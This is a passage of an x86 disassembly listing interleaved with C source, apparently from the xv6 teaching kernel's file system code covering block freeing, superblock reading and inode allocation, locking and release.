(%ebx),%eax 8010137a: e8 81 fd ff ff call 80101100 <balloc> 8010137f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx) 80101385: eb 93 jmp 8010131a <bmap+0x3a> } brelse(bp); return addr; } panic("bmap: out of range"); 80101387: c7 04 24 45 71 10 80 movl $0x80107145,(%esp) 8010138e: e8 cd ef ff ff call 80100360 <panic> 80101393: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101399: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013a0 <readsb>: struct superblock sb; // Read the super block. void readsb(int dev, struct superblock *sb) { 801013a0: 55 push %ebp 801013a1: 89 e5 mov %esp,%ebp 801013a3: 56 push %esi 801013a4: 53 push %ebx 801013a5: 83 ec 10 sub $0x10,%esp struct buf *bp; bp = bread(dev, 1); 801013a8: 8b 45 08 mov 0x8(%ebp),%eax 801013ab: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 801013b2: 00 struct superblock sb; // Read the super block. void readsb(int dev, struct superblock *sb) { 801013b3: 8b 75 0c mov 0xc(%ebp),%esi struct buf *bp; bp = bread(dev, 1); 801013b6: 89 04 24 mov %eax,(%esp) 801013b9: e8 12 ed ff ff call 801000d0 <bread> memmove(sb, bp->data, sizeof(*sb)); 801013be: 89 34 24 mov %esi,(%esp) 801013c1: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp) 801013c8: 00 void readsb(int dev, struct superblock *sb) { struct buf *bp; bp = bread(dev, 1); 801013c9: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 801013cb: 8d 40 5c lea 0x5c(%eax),%eax 801013ce: 89 44 24 04 mov %eax,0x4(%esp) 801013d2: e8 b9 2f 00 00 call 80104390 <memmove> brelse(bp); 801013d7: 89 5d 08 mov %ebx,0x8(%ebp) } 801013da: 83 c4 10 add $0x10,%esp 801013dd: 5b pop %ebx 801013de: 5e pop %esi 801013df: 5d pop %ebp { struct buf *bp; bp = bread(dev, 1); memmove(sb, bp->data, sizeof(*sb)); brelse(bp); 801013e0: e9 fb ed ff ff jmp 801001e0 <brelse> 801013e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801013e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801013f0 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 801013f0: 55 push %ebp 801013f1: 89 e5 mov %esp,%ebp 801013f3: 57 push %edi 801013f4: 89 d7 mov %edx,%edi 801013f6: 56 push %esi 801013f7: 53 push %ebx 801013f8: 89 c3 mov %eax,%ebx 801013fa: 83 ec 1c sub $0x1c,%esp struct buf *bp; int bi, m; readsb(dev, &sb); 801013fd: 89 04 24 mov %eax,(%esp) 80101400: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 80101407: 80 80101408: e8 93 ff ff ff call 801013a0 <readsb> bp = bread(dev, BBLOCK(b, sb)); 8010140d: 89 fa mov %edi,%edx 8010140f: c1 ea 0c shr $0xc,%edx 80101412: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101418: 89 1c 24 mov %ebx,(%esp) bi = b % BPB; m = 1 << (bi % 8); 8010141b: bb 01 00 00 00 mov $0x1,%ebx { struct buf *bp; int bi, m; readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); 80101420: 89 54 24 04 mov %edx,0x4(%esp) 80101424: e8 a7 ec ff ff call 801000d0 <bread> bi = b % BPB; m = 1 << (bi % 8); 80101429: 89 f9 mov %edi,%ecx struct buf *bp; int bi, m; readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; 8010142b: 81 e7 ff 0f 00 00 and $0xfff,%edi 80101431: 89 fa mov %edi,%edx m = 1 << (bi % 8); 80101433: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101436: c1 fa 03 sar $0x3,%edx int bi, m; readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); 80101439: d3 e3 shl %cl,%ebx { struct buf *bp; int bi, m; readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); 8010143b: 89 c6 mov %eax,%esi bi = b % BPB; m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0) 8010143d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax 80101442: 0f b6 c8 movzbl %al,%ecx 80101445: 85 d9 test %ebx,%ecx 80101447: 74 20 je 80101469 <bfree+0x79> panic("freeing free block"); bp->data[bi/8] &= ~m; 80101449: f7 d3 not %ebx 8010144b: 21 c3 and %eax,%ebx 8010144d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1) log_write(bp); 80101451: 89 34 24 mov %esi,(%esp) 80101454: e8 67 18 00 00 call 80102cc0 <log_write> brelse(bp); 80101459: 89 34 24 mov %esi,(%esp) 8010145c: e8 7f ed ff ff call 801001e0 <brelse> } 80101461: 83 c4 1c add $0x1c,%esp 80101464: 5b pop %ebx 80101465: 5e pop %esi 80101466: 5f pop %edi 80101467: 5d pop %ebp 80101468: c3 ret readsb(dev, &sb); bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0) panic("freeing free block"); 80101469: c7 04 24 58 71 10 80 movl $0x80107158,(%esp) 80101470: e8 eb ee ff ff call 80100360 <panic> 80101475: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101480 <iinit>: struct inode inode[NINODE]; } icache; void iinit(int dev) { 80101480: 55 push %ebp 80101481: 89 e5 mov %esp,%ebp 80101483: 53 push %ebx 80101484: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101489: 83 ec 24 sub $0x24,%esp int i = 0; initlock(&icache.lock, "icache"); 8010148c: c7 44 24 04 6b 71 10 movl $0x8010716b,0x4(%esp) 80101493: 80 80101494: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010149b: e8 20 2c 00 00 call 801040c0 <initlock> for(i = 0; i < NINODE; i++) { initsleeplock(&icache.inode[i].lock, "inode"); 801014a0: 89 1c 24 mov %ebx,(%esp) 801014a3: 81 c3 90 00 00 00 add $0x90,%ebx 801014a9: c7 44 24 04 72 71 10 movl $0x80107172,0x4(%esp) 801014b0: 80 801014b1: e8 da 2a 00 00 call 80103f90 <initsleeplock> iinit(int dev) { int i = 0; initlock(&icache.lock, "icache"); for(i = 0; i < NINODE; i++) { 801014b6: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 801014bc: 75 e2 jne 801014a0 <iinit+0x20> initsleeplock(&icache.inode[i].lock, "inode"); } readsb(dev, &sb); 801014be: 8b 45 08 mov 0x8(%ebp),%eax 801014c1: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 801014c8: 80 801014c9: 89 04 24 mov %eax,(%esp) 801014cc: e8 cf fe ff ff call 801013a0 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014d1: a1 d8 09 11 80 mov 0x801109d8,%eax 801014d6: c7 04 24 d8 71 10 80 movl $0x801071d8,(%esp) 801014dd: 89 44 24 1c mov %eax,0x1c(%esp) 801014e1: a1 d4 09 11 80 mov 0x801109d4,%eax 801014e6: 89 44 24 18 mov %eax,0x18(%esp) 801014ea: a1 d0 09 11 80 mov 0x801109d0,%eax 801014ef: 89 44 24 14 mov %eax,0x14(%esp) 801014f3: a1 cc 09 11 80 mov 0x801109cc,%eax 801014f8: 89 44 24 10 mov %eax,0x10(%esp) 801014fc: a1 c8 09 11 80 mov 0x801109c8,%eax 80101501: 89 44 24 0c mov %eax,0xc(%esp) 80101505: a1 c4 09 11 80 mov 0x801109c4,%eax 8010150a: 89 44 24 08 mov %eax,0x8(%esp) 8010150e: a1 c0 09 11 80 mov 0x801109c0,%eax 80101513: 89 44 24 04 mov %eax,0x4(%esp) 80101517: e8 34 f1 ff ff call 80100650 <cprintf> inodestart %d bmap start %d\n", sb.size, sb.nblocks, sb.ninodes, sb.nlog, sb.logstart, sb.inodestart, sb.bmapstart); } 8010151c: 83 c4 24 add $0x24,%esp 8010151f: 5b pop %ebx 80101520: 5d pop %ebp 80101521: c3 ret 80101522: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101530 <ialloc>: // Allocate an inode on device dev. // Mark it as allocated by giving it type type. // Returns an unlocked but allocated and referenced inode. struct inode* ialloc(uint dev, short type) { 80101530: 55 push %ebp 80101531: 89 e5 mov %esp,%ebp 80101533: 57 push %edi 80101534: 56 push %esi 80101535: 53 push %ebx 80101536: 83 ec 2c sub $0x2c,%esp 80101539: 8b 45 0c mov 0xc(%ebp),%eax int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 8010153c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 // Allocate an inode on device dev. // Mark it as allocated by giving it type type. // Returns an unlocked but allocated and referenced inode. struct inode* ialloc(uint dev, short type) { 80101543: 8b 7d 08 mov 0x8(%ebp),%edi 80101546: 89 45 e4 mov %eax,-0x1c(%ebp) int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101549: 0f 86 a2 00 00 00 jbe 801015f1 <ialloc+0xc1> 8010154f: be 01 00 00 00 mov $0x1,%esi 80101554: bb 01 00 00 00 mov $0x1,%ebx 80101559: eb 1a jmp 80101575 <ialloc+0x45> 8010155b: 90 nop 8010155c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101560: 89 14 24 mov %edx,(%esp) { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101563: 83 c3 01 add $0x1,%ebx dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101566: e8 75 ec ff ff call 801001e0 <brelse> { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 8010156b: 89 de mov %ebx,%esi 8010156d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx 80101573: 73 7c jae 801015f1 <ialloc+0xc1> bp = bread(dev, IBLOCK(inum, sb)); 80101575: 89 f0 mov %esi,%eax 80101577: c1 e8 03 shr $0x3,%eax 8010157a: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101580: 89 3c 24 mov %edi,(%esp) 80101583: 89 44 24 04 mov %eax,0x4(%esp) 80101587: e8 44 eb ff ff call 801000d0 <bread> 8010158c: 89 c2 mov %eax,%edx dip = (struct dinode*)bp->data + inum%IPB; 8010158e: 89 f0 mov %esi,%eax 80101590: 83 e0 07 and $0x7,%eax 80101593: c1 e0 06 shl $0x6,%eax 80101596: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010159a: 66 83 39 00 cmpw $0x0,(%ecx) 8010159e: 75 c0 jne 80101560 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 801015a0: 89 0c 24 mov %ecx,(%esp) 801015a3: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp) 801015aa: 00 801015ab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801015b2: 00 801015b3: 89 55 dc mov %edx,-0x24(%ebp) 801015b6: 89 4d e0 mov %ecx,-0x20(%ebp) 801015b9: e8 32 2d 00 00 call 801042f0 <memset> dip->type = type; 801015be: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax log_write(bp); // mark it allocated on the disk 801015c2: 8b 55 dc mov -0x24(%ebp),%edx for(inum = 1; inum < sb.ninodes; inum++){ bp = bread(dev, IBLOCK(inum, sb)); dip = (struct dinode*)bp->data + inum%IPB; if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; 801015c5: 8b 4d e0 mov -0x20(%ebp),%ecx log_write(bp); // mark it allocated on the disk 801015c8: 89 55 e4 mov %edx,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ bp = bread(dev, IBLOCK(inum, sb)); dip = (struct dinode*)bp->data + inum%IPB; if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; 801015cb: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 801015ce: 89 14 24 mov %edx,(%esp) 801015d1: e8 ea 16 00 00 call 80102cc0 <log_write> brelse(bp); 801015d6: 8b 55 e4 mov -0x1c(%ebp),%edx 801015d9: 89 14 24 mov %edx,(%esp) 801015dc: e8 ff eb ff ff call 801001e0 <brelse> return iget(dev, inum); } brelse(bp); } panic("ialloc: no inodes"); } 801015e1: 83 c4 2c add $0x2c,%esp if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 801015e4: 89 f2 mov %esi,%edx } brelse(bp); } panic("ialloc: no inodes"); } 801015e6: 5b pop %ebx if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 801015e7: 89 f8 mov %edi,%eax } brelse(bp); } panic("ialloc: no inodes"); } 801015e9: 5e pop %esi 801015ea: 5f pop %edi 801015eb: 5d pop %ebp if(dip->type == 0){ // a free inode memset(dip, 0, sizeof(*dip)); dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); 801015ec: e9 2f fc ff ff jmp 80101220 <iget> } brelse(bp); } panic("ialloc: no inodes"); 801015f1: c7 04 24 78 71 10 80 movl $0x80107178,(%esp) 801015f8: e8 63 ed ff ff call 80100360 <panic> 801015fd: 8d 76 00 lea 0x0(%esi),%esi 80101600 <iupdate>: // Must be called after every change to an ip->xxx field // that lives on disk, since i-node cache is write-through. // Caller must hold ip->lock. void iupdate(struct inode *ip) { 80101600: 55 push %ebp 80101601: 89 e5 mov %esp,%ebp 80101603: 56 push %esi 80101604: 53 push %ebx 80101605: 83 ec 10 sub $0x10,%esp 80101608: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8010160b: 8b 43 04 mov 0x4(%ebx),%eax dip->type = ip->type; dip->major = ip->major; dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010160e: 83 c3 5c add $0x5c,%ebx iupdate(struct inode *ip) { struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101611: c1 e8 03 shr $0x3,%eax 80101614: 03 05 d4 09 11 80 add 0x801109d4,%eax 8010161a: 89 44 24 04 mov %eax,0x4(%esp) 8010161e: 8b 43 a4 mov -0x5c(%ebx),%eax 80101621: 89 04 24 mov %eax,(%esp) 80101624: e8 a7 ea ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101629: 8b 53 a8 mov -0x58(%ebx),%edx 8010162c: 83 e2 07 and $0x7,%edx 8010162f: c1 e2 06 shl $0x6,%edx 80101632: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx iupdate(struct inode *ip) { struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101636: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; dip->type = ip->type; 80101638: 0f b7 43 f4 movzwl -0xc(%ebx),%eax dip->major = ip->major; dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010163c: 83 c2 0c add $0xc,%edx struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; dip->type = ip->type; 8010163f: 66 89 42 f4 mov %ax,-0xc(%edx) dip->major = ip->major; 80101643: 0f b7 43 f6 movzwl -0xa(%ebx),%eax 80101647: 66 89 42 f6 mov %ax,-0xa(%edx) dip->minor = ip->minor; 8010164b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax 8010164f: 66 89 42 f8 mov %ax,-0x8(%edx) dip->nlink = ip->nlink; 80101653: 0f b7 43 fa movzwl -0x6(%ebx),%eax 80101657: 66 89 42 fa mov %ax,-0x6(%edx) dip->size = ip->size; 8010165b: 8b 43 fc mov -0x4(%ebx),%eax 8010165e: 89 42 fc mov %eax,-0x4(%edx) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101661: 89 5c 24 04 mov %ebx,0x4(%esp) 80101665: 89 14 24 mov %edx,(%esp) 80101668: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 8010166f: 00 80101670: e8 1b 2d 00 00 call 80104390 <memmove> log_write(bp); 80101675: 89 34 24 mov %esi,(%esp) 80101678: e8 43 16 00 00 call 80102cc0 <log_write> brelse(bp); 8010167d: 89 75 08 mov %esi,0x8(%ebp) } 80101680: 83 c4 10 add $0x10,%esp 80101683: 5b pop %ebx 80101684: 5e pop %esi 80101685: 5d pop %ebp dip->minor = ip->minor; dip->nlink = ip->nlink; dip->size = ip->size; memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); log_write(bp); brelse(bp); 80101686: e9 55 eb ff ff jmp 801001e0 <brelse> 8010168b: 90 nop 8010168c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101690 <idup>: // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { 80101690: 55 push %ebp 80101691: 89 e5 mov %esp,%ebp 80101693: 53 push %ebx 80101694: 83 ec 14 sub $0x14,%esp 80101697: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010169a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801016a1: e8 8a 2b 00 00 call 80104230 <acquire> ip->ref++; 801016a6: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 801016aa: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801016b1: e8 ea 2b 00 00 call 801042a0 <release> return ip; } 801016b6: 83 c4 14 add $0x14,%esp 801016b9: 89 d8 mov %ebx,%eax 801016bb: 5b pop %ebx 801016bc: 5d pop %ebp 801016bd: c3 ret 801016be: 66 90 xchg %ax,%ax 801016c0 <ilock>: // Lock the given inode. // Reads the inode from disk if necessary. void ilock(struct inode *ip) { 801016c0: 55 push %ebp 801016c1: 89 e5 mov %esp,%ebp 801016c3: 56 push %esi 801016c4: 53 push %ebx 801016c5: 83 ec 10 sub $0x10,%esp 801016c8: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) 801016cb: 85 db test %ebx,%ebx 801016cd: 0f 84 b3 00 00 00 je 80101786 <ilock+0xc6> 801016d3: 8b 53 08 mov 0x8(%ebx),%edx 801016d6: 85 d2 test %edx,%edx 801016d8: 0f 8e a8 00 00 00 jle 80101786 <ilock+0xc6> panic("ilock"); acquiresleep(&ip->lock); 801016de: 8d 43 0c lea 0xc(%ebx),%eax 801016e1: 89 04 24 mov %eax,(%esp) 801016e4: e8 e7 28 00 00 call 80103fd0 <acquiresleep> if(ip->valid == 0){ 801016e9: 8b 43 4c mov 0x4c(%ebx),%eax 801016ec: 85 c0 test %eax,%eax 801016ee: 74 08 je 801016f8 <ilock+0x38> brelse(bp); ip->valid = 1; if(ip->type == 0) panic("ilock: no type"); } } 801016f0: 83 c4 10 add $0x10,%esp 801016f3: 5b pop %ebx 801016f4: 5e pop %esi 801016f5: 5d pop %ebp 801016f6: c3 ret 801016f7: 90 nop panic("ilock"); acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801016f8: 8b 43 04 mov 0x4(%ebx),%eax 801016fb: c1 e8 03 shr $0x3,%eax 801016fe: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101704: 89 44 24 04 mov %eax,0x4(%esp) 80101708: 8b 03 mov (%ebx),%eax 8010170a: 89 04 24 mov %eax,(%esp) 8010170d: e8 be e9 ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101712: 8b 53 04 mov 0x4(%ebx),%edx 80101715: 83 e2 07 and $0x7,%edx 80101718: c1 e2 06 shl $0x6,%edx 8010171b: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx panic("ilock"); acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8010171f: 89 c6 mov %eax,%esi dip = (struct dinode*)bp->data + ip->inum%IPB; ip->type = dip->type; 80101721: 0f b7 02 movzwl (%edx),%eax ip->major = dip->major; ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101724: 83 c2 0c add $0xc,%edx acquiresleep(&ip->lock); if(ip->valid == 0){ bp = bread(ip->dev, IBLOCK(ip->inum, sb)); dip = (struct dinode*)bp->data + ip->inum%IPB; ip->type = dip->type; 80101727: 66 89 43 50 mov %ax,0x50(%ebx) ip->major = dip->major; 8010172b: 0f b7 42 f6 movzwl -0xa(%edx),%eax 8010172f: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = dip->minor; 80101733: 0f b7 42 f8 movzwl -0x8(%edx),%eax 80101737: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = dip->nlink; 8010173b: 0f b7 42 fa movzwl -0x6(%edx),%eax 8010173f: 66 89 43 56 mov %ax,0x56(%ebx) ip->size = dip->size; 80101743: 8b 42 fc mov -0x4(%edx),%eax 80101746: 89 43 58 mov %eax,0x58(%ebx) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101749: 8d 43 5c lea 0x5c(%ebx),%eax 8010174c: 89 54 24 04 mov %edx,0x4(%esp) 80101750: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80101757: 00 80101758: 89 04 24 mov %eax,(%esp) 8010175b: e8 30 2c 00 00 call 80104390 <memmove> brelse(bp); 80101760: 89 34 24 mov %esi,(%esp) 80101763: e8 78 ea ff ff call 801001e0 <brelse> ip->valid = 1; if(ip->type == 0) 80101768: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx) ip->minor = dip->minor; ip->nlink = dip->nlink; ip->size = dip->size; memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); brelse(bp); ip->valid = 1; 8010176d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) if(ip->type == 0) 80101774: 0f 85 76 ff ff ff jne 801016f0 <ilock+0x30> panic("ilock: no type"); 8010177a: c7 04 24 90 71 10 80 movl $0x80107190,(%esp) 80101781: e8 da eb ff ff call 80100360 <panic> { struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) panic("ilock"); 80101786: c7 04 24 8a 71 10 80 movl $0x8010718a,(%esp) 8010178d: e8 ce eb ff ff call 80100360 <panic> 80101792: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801017a0 <iunlock>: } // Unlock the given inode. void iunlock(struct inode *ip) { 801017a0: 55 push %ebp 801017a1: 89 e5 mov %esp,%ebp 801017a3: 56 push %esi 801017a4: 53 push %ebx 801017a5: 83 ec 10 sub $0x10,%esp 801017a8: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 801017ab: 85 db test %ebx,%ebx 801017ad: 74 24 je 801017d3 <iunlock+0x33> 801017af: 8d 73 0c lea 0xc(%ebx),%esi 801017b2: 89 34 24 mov %esi,(%esp) 801017b5: e8 b6 28 00 00 call 80104070 <holdingsleep> 801017ba: 85 c0 test %eax,%eax 801017bc: 74 15 je 801017d3 <iunlock+0x33> 801017be: 8b 43 08 mov 0x8(%ebx),%eax 801017c1: 85 c0 test %eax,%eax 801017c3: 7e 0e jle 801017d3 <iunlock+0x33> panic("iunlock"); releasesleep(&ip->lock); 801017c5: 89 75 08 mov %esi,0x8(%ebp) } 801017c8: 83 c4 10 add $0x10,%esp 801017cb: 5b pop %ebx 801017cc: 5e pop %esi 801017cd: 5d pop %ebp iunlock(struct inode *ip) { if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) panic("iunlock"); releasesleep(&ip->lock); 801017ce: e9 5d 28 00 00 jmp 80104030 <releasesleep> // Unlock the given inode. void iunlock(struct inode *ip) { if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) panic("iunlock"); 801017d3: c7 04 24 9f 71 10 80 movl $0x8010719f,(%esp) 801017da: e8 81 eb ff ff call 80100360 <panic> 801017df: 90 nop 801017e0 <iput>: // to it, free the inode (and its content) on disk. // All calls to iput() must be inside a transaction in // case it has to free the inode. void iput(struct inode *ip) { 801017e0: 55 push %ebp 801017e1: 89 e5 mov %esp,%ebp 801017e3: 57 push %edi 801017e4: 56 push %esi 801017e5: 53 push %ebx 801017e6: 83 ec 1c sub $0x1c,%esp 801017e9: 8b 75 08 mov 0x8(%ebp),%esi acquiresleep(&ip->lock); 801017ec: 8d 7e 0c lea 0xc(%esi),%edi 801017ef: 89 3c 24 mov %edi,(%esp) 801017f2: e8 d9 27 00 00 call 80103fd0 <acquiresleep> if(ip->valid && ip->nlink == 0){ 801017f7: 8b 56 4c mov 0x4c(%esi),%edx 801017fa: 85 d2 test %edx,%edx 801017fc: 74 07 je 80101805 <iput+0x25> 801017fe: 66 83 7e 56 00 cmpw $0x0,0x56(%esi) 80101803: 74 2b je 80101830 <iput+0x50> ip->type = 0; iupdate(ip); ip->valid = 0; } } releasesleep(&ip->lock); 80101805: 89 3c 24 mov %edi,(%esp) 80101808: e8 23 28 00 00 call 80104030 <releasesleep> acquire(&icache.lock); 8010180d: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101814: e8 17 2a 00 00 call 80104230 <acquire> ip->ref--; 80101819: 83 6e 08 01 subl $0x1,0x8(%esi) release(&icache.lock); 8010181d: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp) } 80101824: 83 c4 1c add $0x1c,%esp 80101827: 5b pop %ebx 80101828: 5e pop %esi 80101829: 5f pop %edi 8010182a: 5d pop %ebp } releasesleep(&ip->lock); acquire(&icache.lock); ip->ref--; release(&icache.lock); 8010182b: e9 70 2a 00 00 jmp 801042a0 <release> void iput(struct inode *ip) { acquiresleep(&ip->lock); if(ip->valid && ip->nlink == 0){ acquire(&icache.lock); 80101830: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101837: e8 f4 29 00 00 call 80104230 <acquire> int r = ip->ref; 8010183c: 8b 5e 08 mov 0x8(%esi),%ebx release(&icache.lock); 8010183f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101846: e8 55 2a 00 00 call 801042a0 <release> if(r == 1){ 8010184b: 83 fb 01 cmp $0x1,%ebx 8010184e: 75 b5 jne 80101805 <iput+0x25> 80101850: 8d 4e 30 lea 0x30(%esi),%ecx 80101853: 89 f3 mov %esi,%ebx 80101855: 89 7d e4 mov %edi,-0x1c(%ebp) 80101858: 89 cf mov %ecx,%edi 8010185a: eb 0b jmp 80101867 <iput+0x87> 8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101860: 83 c3 04 add $0x4,%ebx { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101863: 39 fb cmp %edi,%ebx 80101865: 74 19 je 80101880 <iput+0xa0> if(ip->addrs[i]){ 80101867: 8b 53 5c mov 0x5c(%ebx),%edx 8010186a: 85 d2 test %edx,%edx 8010186c: 74 f2 je 80101860 <iput+0x80> bfree(ip->dev, ip->addrs[i]); 8010186e: 8b 06 mov (%esi),%eax 80101870: e8 7b fb ff ff call 801013f0 <bfree> ip->addrs[i] = 0; 80101875: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) 8010187c: eb e2 jmp 80101860 <iput+0x80> 8010187e: 66 90 xchg %ax,%ax } } if(ip->addrs[NDIRECT]){ 80101880: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101886: 8b 7d e4 mov -0x1c(%ebp),%edi 80101889: 85 c0 test %eax,%eax 8010188b: 75 2b jne 801018b8 <iput+0xd8> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 8010188d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101894: 89 34 24 mov %esi,(%esp) 80101897: e8 64 fd ff ff call 80101600 <iupdate> int r = ip->ref; release(&icache.lock); if(r == 1){ // inode has no links and no other references: truncate and free. itrunc(ip); ip->type = 0; 8010189c: 31 c0 xor %eax,%eax 8010189e: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 801018a2: 89 34 24 mov %esi,(%esp) 801018a5: e8 56 fd ff ff call 80101600 <iupdate> ip->valid = 0; 801018aa: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 801018b1: e9 4f ff ff ff jmp 80101805 <iput+0x25> 801018b6: 66 90 xchg %ax,%ax ip->addrs[i] = 0; } } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018b8: 89 44 24 04 mov %eax,0x4(%esp) 801018bc: 8b 06 mov (%esi),%eax a = (uint*)bp->data; for(j = 0; j < NINDIRECT; j++){ 801018be: 31 db xor %ebx,%ebx ip->addrs[i] = 0; } } 